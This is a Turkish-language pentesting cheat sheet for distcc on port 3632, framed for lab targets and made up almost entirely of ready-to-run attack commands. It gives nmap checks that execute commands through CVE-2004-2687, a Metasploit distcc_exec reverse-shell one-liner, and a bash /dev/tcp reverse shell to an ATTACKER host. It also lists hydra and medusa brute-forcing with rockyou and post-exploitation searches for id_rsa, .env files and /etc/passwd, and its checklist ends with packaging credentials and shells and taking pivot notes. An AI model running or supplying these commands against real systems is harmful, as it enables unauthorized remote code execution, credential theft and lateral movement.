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3632 - Pentesting distcc

distcc rce

distcc uzaktan derleme dağıtır; auth’suz kurulumda komut enjeksiyonu klasik RCE’dir. Hedef lab IP’si üzerinde komutları 3632 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 3632 doğrula.

  2. distcc sürüm/NSE.

  3. Komut enjeksiyonu PoC.

  4. Reverse shell.

Terminal window
nmap -Pn -sV -p3632 TARGET
Terminal window
nmap -Pn -p3632 --script distcc-cve2004-2687 TARGET
Terminal window
nc -nv TARGET 3632
Terminal window
msfconsole -q -x 'use exploit/unix/misc/distcc_exec; set RHOSTS TARGET; set PAYLOAD cmd/unix/reverse; set LHOST ATTACKER; run'
Terminal window
nmap -p3632 --script distcc-cve2004-2687 --script-args='distcc-cve2004-2687.cmd=id' TARGET
Terminal window
distcc id
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
distcc_exec → interactive shell

distcc için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p3632 TARGET
Terminal window
nmap -Pn -p3632 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:3632' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',3632));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → distcc
Terminal window
hydra -L users.txt -P rockyou.txt -s 3632 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 3632
Terminal window
nmap -p3632 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit distcc
Terminal window
msfconsole -q -x 'search distcc; exit'
Terminal window
nuclei -u https://TARGET:3632 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:3632 -tags tech -silent || true
Terminal window
nc -nv TARGET 3632
Terminal window
printf '
' | timeout 3 nc -nv TARGET 3632
Terminal window
curl -vk --http1.0 http://TARGET:3632/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
distcc open → CVE-2004-2687 → reverse shell